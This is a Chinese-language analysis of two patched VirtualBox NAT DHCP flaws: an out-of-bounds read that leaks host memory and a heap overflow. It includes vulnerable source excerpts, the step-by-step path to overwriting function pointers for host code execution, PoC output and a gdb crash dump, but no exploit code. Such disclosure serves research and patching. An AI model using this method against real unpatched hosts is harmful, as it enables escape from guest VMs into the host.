这是前些年一组VirtualBox的逃逸漏洞。NAT模式下的VirtualBox guest虚拟机(默认网络配置)启用每个VM DHCP服务器,该服务器为guest虚拟机分配IP地址。
renorobert@ubuntuguest:~$ ifconfig enp0s3 enp0s3 Link encap:Ethernet HWaddr 08:00:27:b8:b7:4c inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:feb8:b74c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:119 errors:0 dropped:0 overruns:0 frame:0 TX packets:94 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:11737 (11.7 KB) TX bytes:12157 (12.1 KB)
伪造的DHCP服务器在10.0.2.2
的IP地址上,发送到此DHCP服务器的数据包将由host机来进行解析
renorobert@ubuntuguest:~$ sudo nmap -sU -p 68 10.0.2.2 . . . 68/udp open|filtered dhcpc MAC Address: 52:54:00:12:35:03 (QEMU virtual NIC)
Oracle在2016年10月期间修复了两个漏洞CVE-2016-5610
和CVE-2016-5611
。该漏洞存在于代码src/Vbox/Devices/Network/slirp/bootp.c
中,影响5.0.28、5.1.8之前的VirtualBox版本。
Oracle重要补丁更新公告 - 2016年10月
DHCP数据包在src/Vbox/Devices/Network/slirp/bootp.c
中定义如下:
#define DHCP_OPT_LEN 312 /* RFC 2131 */ struct bootp_t { struct ip ip; /**< header: IP header */ struct udphdr udp; /**< header: UDP header */ uint8_t bp_op; /**< opcode (BOOTP_REQUEST, BOOTP_REPLY) */ uint8_t bp_htype; /**< hardware type */ uint8_t bp_hlen; /**< hardware address length */ uint8_t bp_hops; /**< hop count */ uint32_t bp_xid; /**< transaction ID */ uint16_t bp_secs; /**< numnber of seconds */ uint16_t bp_flags; /**< flags (DHCP_FLAGS_B) */ struct in_addr bp_ciaddr; /**< client IP address */ struct in_addr bp_yiaddr; /**< your IP address */ struct in_addr bp_siaddr; /**< server IP address */ struct in_addr bp_giaddr; /**< gateway IP address */ uint8_t bp_hwaddr[16]; /** client hardware address */ uint8_t bp_sname[64]; /** server host name */ uint8_t bp_file[128]; /** boot filename */ uint8_t bp_vend[DHCP_OPT_LEN]; /**< vendor specific info */ };
DHCP服务器维护一个BOOTPClient
结构数组(bootp.c),以跟踪所有分配的IP地址。
/** Entry in the table of known DHCP clients. */ typedef struct { uint32_t xid; bool allocated; uint8_t macaddr[6]; struct in_addr addr; int number; } BOOTPClient; /** Number of DHCP clients supported by NAT. */ #define NB_ADDR 16
调用bootp_dhcp_init()
在VM初始化期间初始这个数组
int bootp_dhcp_init(PNATState pData) { pData->pbootp_clients = RTMemAllocZ(sizeof(BOOTPClient) * NB_ADDR); if (!pData->pbootp_clients) return VERR_NO_MEMORY; return VINF_SUCCESS; }
static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag) { uint8_t *q = vend; uint8_t len; . . . while(*q != RFC1533_END) // expects END tag in an untrusted input { if (*q == RFC1533_PAD) { q++; // incremented without validation continue; } if (*q == tag) return q; // returns pointer if tag found q++; len = *q; q += 1 + len; // length and pointer not validated } return NULL; }
dhcp_find_option()
解析guest虚拟机在DHCP数据包中提供的bp_vend
字段。但是,缺少正确的验证可能会返回一个在DHCP数据包缓冲区外的指针,或者如果while循环永远不会终止直到访问未映射的地址,则会导致VM崩溃。利用该漏洞,通过发送DHCP拒绝数据包去触发信息泄漏。
bootp.c:65:static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag) bootp.c:412: req_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR); bootp.c:413: server_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_SRV_ID); bootp.c:701: pu8RawDhcpObject = dhcp_find_option(bp->bp_vend, RFC2132_MSG_TYPE); bootp.c:726: parameter_list = dhcp_find_option(&bp->bp_vend[0], RFC2132_PARAM_LIST); bootp.c:773: pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
static void dhcp_decode(PNATState pData, struct bootp_t *bp, const uint8_t *buf, int size) { . . . case DHCPDECLINE: /* note: pu8RawDhcpObject doesn't point to DHCP header, now it's expected it points * to Dhcp Option RFC2132_REQ_ADDR */ pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR); . . . req_ip.s_addr = *(uint32_t *)(pu8RawDhcpObject + 2); rc = bootp_cache_lookup_ether_by_ip(pData, req_ip.s_addr, NULL); if (RT_FAILURE(rc)) { . . . bc->addr.s_addr = req_ip.s_addr; slirp_arp_who_has(pData, bc->addr.s_addr); LogRel(("NAT: %RTnaipv4 has been already registered\n", req_ip)); } /* no response required */ break; . . .
客户端发送DHCPDECLINE
消息,表明提供的IP地址已在使用中。此IP地址是bp_vend
字段的一部分。服务器调用dhcp_find_option()
以获取指向bp_vend
字段内的IP地址的指针。这里可以返回DHCP缓冲区外的指针,指向一些垃圾数据作为IP地址。
服务器首先通过调用bootp_cache_lookup_ether_by_ip()
来检查IP地址是否已在分配的列表中。如果没有,它进一步调用slirp_arp_who_has
来生成ARP请求,其中在DHCP缓冲区外部读取的字节为IP地址。该请求将由guest虚拟机接收,因为它的广播数据包泄漏了一些字节。
要触发此漏洞,需要发送一个DHCPDECLINE
数据包,其中bp_vend
填充RFC1533_PAD
。如果没有崩溃,将触发ARP数据包,如下所示:
renorobert@guest:~$ sudo tcpdump -vv -i eth0 arp [sudo] password for renorobert: tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 15:51:34.557995 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 45.103.99.109 (Broadcast) tell 10.0.2.2, length 46
45.103.99.109
是泄漏的主机进程字节。
static int dhcp_decode_request(PNATState pData, struct bootp_t *bp, struct mbuf *m) { . . . /*?? renewing ??*/ switch (dhcp_stat) { case RENEWING: . . . Assert((bp->bp_hlen == ETH_ALEN)); memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen); bc->addr.s_addr = bp->bp_ciaddr.s_addr; } break; case INIT_REBOOT: . . . Assert((bp->bp_hlen == ETH_ALEN)); memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen); bc->addr.s_addr = ui32; break; . . . }
在解析DHCPREQUEST
数据包时,没有验证bp-> bp_hlen
字段。断言语句Assert((bp-> bp_hlen == ETH_ALEN))在release版本中不编译,当将bp_hwaddr
从伪造的DHCP数据包复制到BOOTPClient
结构中的macaddr
字段时,会导致堆缓冲区溢出。
p_hlen
是一个字节,因此最大值可以是255。但是,BOOTPClient
结构数组的大小大于300
字节。由于没有关键数据可以破坏,因此在此数组中溢出并不是很有效。为了使这个溢出有效,我们必须到达BOOTPClient
结构数组的末尾(pbootp_clients
)。
pbootp_clients
数组可以存储有关16个客户端请求[0 ... 15]
的信息。在VM初始化期间,数组中的第一个元素已使用了访客IP地址。为了将更多客户端请求添加进该数组,guest虚拟机可以发送另外14个具有唯一信息的DHCPREQUEST
数据包。处理第15个DHCPREQUEST
数据包时,通过将bp_hlen
设置为最大值来触发溢出。
由于pbootp_clients
是在VM初始化过程中早期分配的,并且溢出限制为最多255
个字节,因此相邻缓冲区需要有趣。在Ubuntu 16.04中测试VirtualBox 5.0.26时,相邻的缓冲区是在src/Vbox/Devices/Network/slirp/zone.h
中定义的uma_zone结构。
# define ZONE_MAGIC 0xdead0002 struct uma_zone { uint32_t magic; PNATState pData; /* to minimize changes in the rest of UMA emulation code */ RTCRITSECT csZone; const char *name; size_t size; /* item size */ ctor_t pfCtor; dtor_t pfDtor; zinit_t pfInit; zfini_t pfFini; uma_alloc_t pfAlloc; uma_free_t pfFree; int max_items; int cur_items; LIST_HEAD(RT_NOTHING, item) used_items; LIST_HEAD(RT_NOTHING, item) free_items; uma_zone_t master_zone; void *area; /** Needs call pfnXmitPending when memory becomes available if @c true. * @remarks Only applies to the master zone (master_zone == NULL) */ bool fDoXmitPending; };
此结构用于在src/Vbox/Devices/Network/slirp/misc.c
中定义的函数。破坏pfCtor
,pfDtor
,pfInit
,pfFini
,pfAlloc
或pfFree
会在NAT
线程或每个vCPU EMT
线程中拿到RIP控制权。
$ sudo ./poc enp0s3 [sudo] password for renorobert: poc: [+] Using interface enp0s3... poc: [+] Sending DHCP requests... poc: [+] Current IP address : 10.0.2.15 poc: [+] Requesting IP address : 10.0.2.16 poc: [+] Requesting IP address : 10.0.2.17 poc: [+] Requesting IP address : 10.0.2.18 poc: [+] Requesting IP address : 10.0.2.19 poc: [+] Requesting IP address : 10.0.2.20 poc: [+] Requesting IP address : 10.0.2.21 poc: [+] Requesting IP address : 10.0.2.22 poc: [+] Requesting IP address : 10.0.2.23 poc: [+] Requesting IP address : 10.0.2.24 poc: [+] Requesting IP address : 10.0.2.25 poc: [+] Requesting IP address : 10.0.2.26 poc: [+] Requesting IP address : 10.0.2.27 poc: [+] Requesting IP address : 10.0.2.28 poc: [+] Requesting IP address : 10.0.2.29 poc: [+] Requesting IP address : 10.0.2.30 poc: [+] Overflowing bootp_clients into uma_zone structure…
gdb-peda$ c Continuing. Thread 11 "EMT" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fd20e4af700 (LWP 27148)] [----------------------------------registers-----------------------------------] RAX: 0xfffffe95 RBX: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b") RCX: 0x0 RDX: 0x0 RSI: 0x42424242 ('BBBB') RDI: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b") RBP: 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...) RSP: 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0 RIP: 0x7fd1df22308e (call QWORD PTR [rbx+0x70]) R8 : 0x0 R9 : 0x0 R10: 0x7fd20d529230 --> 0x7fd1df1e5be0 (push rbp) R11: 0x0 R12: 0x7fd1f0852080 --> 0x800 R13: 0x7fd20e4aeb90 --> 0x100000002 R14: 0x7fd1f05ea340 ('B' , "\b") R15: 0x7fd1f05e6f30 --> 0x7fd1df21c5a0 (push rbp) EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fd1df223086: xor edx,edx 0x7fd1df223088: mov esi,DWORD PTR [rbx+0x48] 0x7fd1df22308b: mov rdi,rbx => 0x7fd1df22308e: call QWORD PTR [rbx+0x70] 0x7fd1df223091: test rax,rax 0x7fd1df223094: mov r12,rax 0x7fd1df223097: je 0x7fd1df2230b5 0x7fd1df223099: mov rax,QWORD PTR [rbx+0x50] Guessed arguments: arg[0]: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b") arg[1]: 0x42424242 ('BBBB') arg[2]: 0x0 arg[3]: 0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0 0008| 0x7fd20e4aeb58 --> 0x7fd1f0852080 --> 0x800 0016| 0x7fd20e4aeb60 --> 0x7fd1f0852088 --> 0x7fd1dd262f88 --> 0x8ffffffffffff 0024| 0x7fd20e4aeb68 --> 0x11a 0032| 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...) 0040| 0x7fd20e4aeb78 --> 0x7fd1df22339f (test rax,rax) 0048| 0x7fd20e4aeb80 --> 0x7fd20e4aebb0 --> 0x0 0056| 0x7fd20e4aeb88 --> 0x7fd1f0000020 --> 0x200000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00007fd1df22308e in ?? () from /usr/lib/virtualbox/VBoxDD.so gdb-peda$ x/gx $rbx+0x70 0x7fd1f05ea3a0: 0xdeadbeef00000000
以上两个漏洞的POC可以在这里下载virtualbox-nat-dhcp-bugs